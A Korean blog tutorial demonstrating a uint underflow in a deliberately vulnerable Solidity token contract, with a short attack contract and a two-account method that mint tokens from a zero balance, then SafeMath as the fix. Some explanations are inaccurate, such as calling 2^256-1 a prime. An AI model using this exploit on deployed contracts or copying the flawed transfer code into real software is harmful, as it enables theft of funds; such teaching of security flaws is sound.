uint 자료형의 허점을 노린 스마트컨트랙트 해킹
[요약]
내가 다른 사람에게 돈을 입금하려면
나의 은행 잔고는 당연히 입금하려는 돈 보다 많아야한다.
동일한 의도로 타겟 스마트컨트랙트 내에
내가 보내려는 토큰이 나의 토큰 잔고 보다
많을 경우 전송을 할 수 있게 만든 코드가 있다.
uint의 특성인 언더플로우를 이용해서
나의 토큰 잔고가 보내려는
토큰보다 적더라도 전송이 실행되도록 해킹해보고
이를 통해 스마트컨트랙트 코드 작성시 uint 자료형
변수의 특징과 보안 취약점을 알아보자.
- 타겟 스마트컨트랙트 'Token' 전체 코드
pragma solidity 0.6.0;
contract Token {
mapping(address => uint) balances;
uint public num;
constructor(uint _initialSupply) public {
balances[msg.sender] = _initialSupply;
}
function balanceOf(address _owner) public view returns (uint){
return balances[_owner];
}
function transfer(address _to, uint _value) public returns (bool) {
num= balances[msg.sender] - _value;
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
}
▶뜯어보기
- coustructor
constructor(uint _initialSupply) public {
balances[msg.sender] = _initialSupply;
}
스마트컨트랙트 최초 배포시
coustructor 호출.
배포자 주소의 토큰 잔고에
파라미터 _initialSupply 값을 대입시킨다.
- balaceOf
function balanceOf(address _owner) public view returns (uint){
return balances[_owner];
}
함수 balaceOf는 주소형 변수 _owner를 파라미터로 받는다.
그리고 _owener 주소의 토큰 잔고량을 반환한다.
- transfer
function transfer(address _to, uint _value) public returns (bool) {
num= balances[msg.sender] - _value;
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
문제의 함수 transfer.
transfer 함수는
2개의 파라미터
(주소형 _to, uint형 _value)
를 받는다.
require~
msg.sender - 전송 토큰 량이 >= 0
=> 토큰을 보내려는 사람의 잔고가 전송 토큰 량 보다 큰 지 확인함.
위 조건이 참일 경우 그 다음
msg.sender의 토큰 잔고를 토큰 전송량 만큼 감소 시키고
_to의 토큰 잔고를 토큰 전송량 만큼 증가 시킨다.
- 리믹스에서 타겟 스마트컨트랙트 "Token" 배포
_INITIALSUPPLY를
10,000개로 설정하고 배포.
배포한 스마트컨트랙트를 불러오고
함수 balanceOf 인풋 값에
Token 스마트컨트랙트
최초발행자인 0xdD8~ 주소를 입력하여
호출하면 0xdD8~의 토큰 잔고가
10,000개 인것을 확인할 수 있다.
지갑주소 0x583~는
Token 스마트컨트랙트를 해킹할 주소이다.
Token의 balanceOf에
해킹공격자 0x583 주소를 입력하여 호출하면
토큰 잔고가 0임을 확인 할 수 있다.
- 시도1: Token 스마트컨트랙트와 직접 연결
스마트컨트랙트 "Token"을 불러오고
transfer 함수 인풋 데이터에
파라미터 (받을사람 주소, 토큰 전송 수량)를 입력하고 transfer 호출.
=> (0x583~,100)
: 0x583~ 주소로 100개를 보냄.
=> 실패
- 시도2: 스마트컨트랙트 "Attack1000"을 만들고 공격
pragma solidity 0.6.0;
contract Token {
mapping(address => uint) balances;
uint public num;
constructor(uint _initialSupply) public {
balances[msg.sender] = _initialSupply;
}
function balanceOf(address _owner) public view returns (uint){
return balances[_owner];
}
function transfer(address _to, uint _value) public returns (bool) {
num= balances[msg.sender] - _value;
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
}
contract Attack1000 {
mapping(address => uint) balances;
function hack() public {
Token(0x3643b7a9F6338115159a4D3a2cc678C99aD657aa).transfer(0x583031D1113aD414F02576BD6afaBfb302140225,1000);
}
}
스마트컨트랙트 Attack1000은
함수 "hack"을 실행한다.
함수 hack은
스마트컨트랙트 Token을 불러오고
transfer를 호출하여 파라미터
(공격자 지갑주소, 토큰 수량 1000개)을 입력하여
토큰 1000개를 가져온다.
*공격자는 공격전에 스마트컨트랙트 Token을
하나도 갖고 있지 않다.
배포한 Attack1000을 실행.
해킹 성공.
function transfer(address _to, uint _value) public returns (bool) {
num= balances[msg.sender] - _value;
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
스마트컨트랙트 발행자의 의도에 따르면
3번째줄 requrire~ 코드의 조건을 만족해야
토큰이 전송된다.
그런데
성공적으로 1000개가 공격자의 지갑의
토큰 잔고가 1,000개로 증가하였다.
- Why? :왜 성공했을까
솔리디티에서 uint는
uint256이며256비트의 부호없는 정수를 의미한다.
uint256 값의
최소값은 0.
최대값은 2^256 - 1 =
115792089237316195423570985008687907853269984665640564039457584007913129639935 + 78째자리 소수이다.
num= balances[msg.sender] - _value;
최초 공격시
공격자의 잔고는 0이고 토큰 전송량은 1,000으로 입력하였다.
num 값은 0 - 1000 으로 음수가 된다.
시계에서 0시에서 1시간을 빼면
최대값 12시를 넘어 11시가 되듯이
uint256 값은 음수가 없기 때문에 -1000을
최소값 0에서 -1000 만큼 뒤로간 값.
uint256 최대값-1000 이 되어 버린다.
num 버튼을 클릭하면
115792089237316195423570985008687907853269984665640564039457584007913129639935 -1000
↓
num = 115792089237316195423570985008687907853269984665640564039457584007913129638936
이 되었음을 확인할 수 있다.
이를 언더플로우(underflow)라고하며
require에서 양수로 인식하여 True가 된다.
그리고 잔고가 하나도 없는데도 Transfer에 성공하게 된다.
*반대의 경우 uint 범위의 최대값 2^256 - 1 보다
'1' 큰 값 2^256을 uint 값으로 넣으면
오버플로우(overflow)되어
최소값 0이 되어버린다.
▶참고 Int256
자료형 Int256는
-2^255 ~ 2^255-1 범위 값을 갖는다.
- 최소값: -2^255 = -57896044618658097711785492504343953926634992332820282019728792003956564819968
- 최대값: 2^255-1 = 57896044618658097711785492504343953926634992332820282019728792003956564819967
- 1번시도 EOA로는 실패하고 2번 시도 CA로는 성공한 이유
function transfer(address _to, uint _value) public returns (bool) {
num= balances[msg.sender] - _value;
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
1번 시도, 2번시도
num 값이 언더 플로우 되면서
모두 require~를 통과했다.
하지만
1번 시도에서는
balances[msg.sender] - = _value;
balances[_to] + = _value;
msg.sender는 EOA(EOA. External Owned Account)다.
balances[msg.sender]의 잔고를 100만큼 감소시키고
balances[_to]에도 동일한 계좌의 잔고라 다시 100만큼 증가시키게 된다.
결론적으로 0이된다.
따라서 시도1은 실패했다.
가스피만 날렸다.
2번 시도에서는 CA(CA. Contract Account)가 CA를 호출했으므로
balances[msg.sender]는 0일 것이다.
CA(Attack)의 토큰 잔고를 전송량 1000만큼 감소시킨다.
*이때 CA(Attack)의 토큰 잔고도 uint(-1000)가 되고 언더플로우되어 매우 큰 값의 토큰 잔고를 갖게 된다.
balances[_to] _to에는 공격자의 EOA를 입력하였다.
공격자 EOA에 해당하는 토큰 잔고가 1000이 증가한다.
이로써 공격자는 토큰 1000개를 얻게 됐다.
3번째 방법
다른 방법으로도 토큰을 기하급수적으로 가져올 수 있다.
공격자는 EOA를 2개 준비한다. [EOA1, EOA2]
EOA1로 스마트컨트랙트 Token을 불러오고
인풋 데이터에 (EOA2, 토큰수량(100))을 입력하여 transfer를 호출하면
EOA1의 토큰 잔고는 uint(-100) = 매우 큰 수가 되고
EOA2의 토큰잔고는 uint(100) = 100.
여기서 공격자는 함수 transfer를 호출하기 위한
아주 작은 가스비용만을 지불하고
매우 많은 수의 토큰을 얻게 된다.
- uint256 변수의 오버플로우 / 언더플로우 방지책.
위와 같은 uint256이 갖는
오버플로우/언더플로우 문제를
방지하기 위해
ERC20 토큰 표준 스마트컨트랙트 코드에는
아래와 같은 SafeMath 라이브러리를 포함하고 있다.
SafeMath 라이브러리가 언더플로/오버플로를 방지한다.
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
'블록체인' 카테고리의 다른 글
블록체인에 절대 지울 수 없는 메시지 남기기. (0) | 2021.08.05 |
---|---|
[EIP-1559] 런던 하드포크 마침내 활성화 되다. (0) | 2021.08.05 |
스마트컨트랙트 홀짝 해킹 #3 (0) | 2021.07.28 |
스마트컨트랙트에서 코인 훔치기 #2 (0) | 2021.07.27 |
스마트컨트랙트에서 코인을 훔쳐보자 (0) | 2021.07.27 |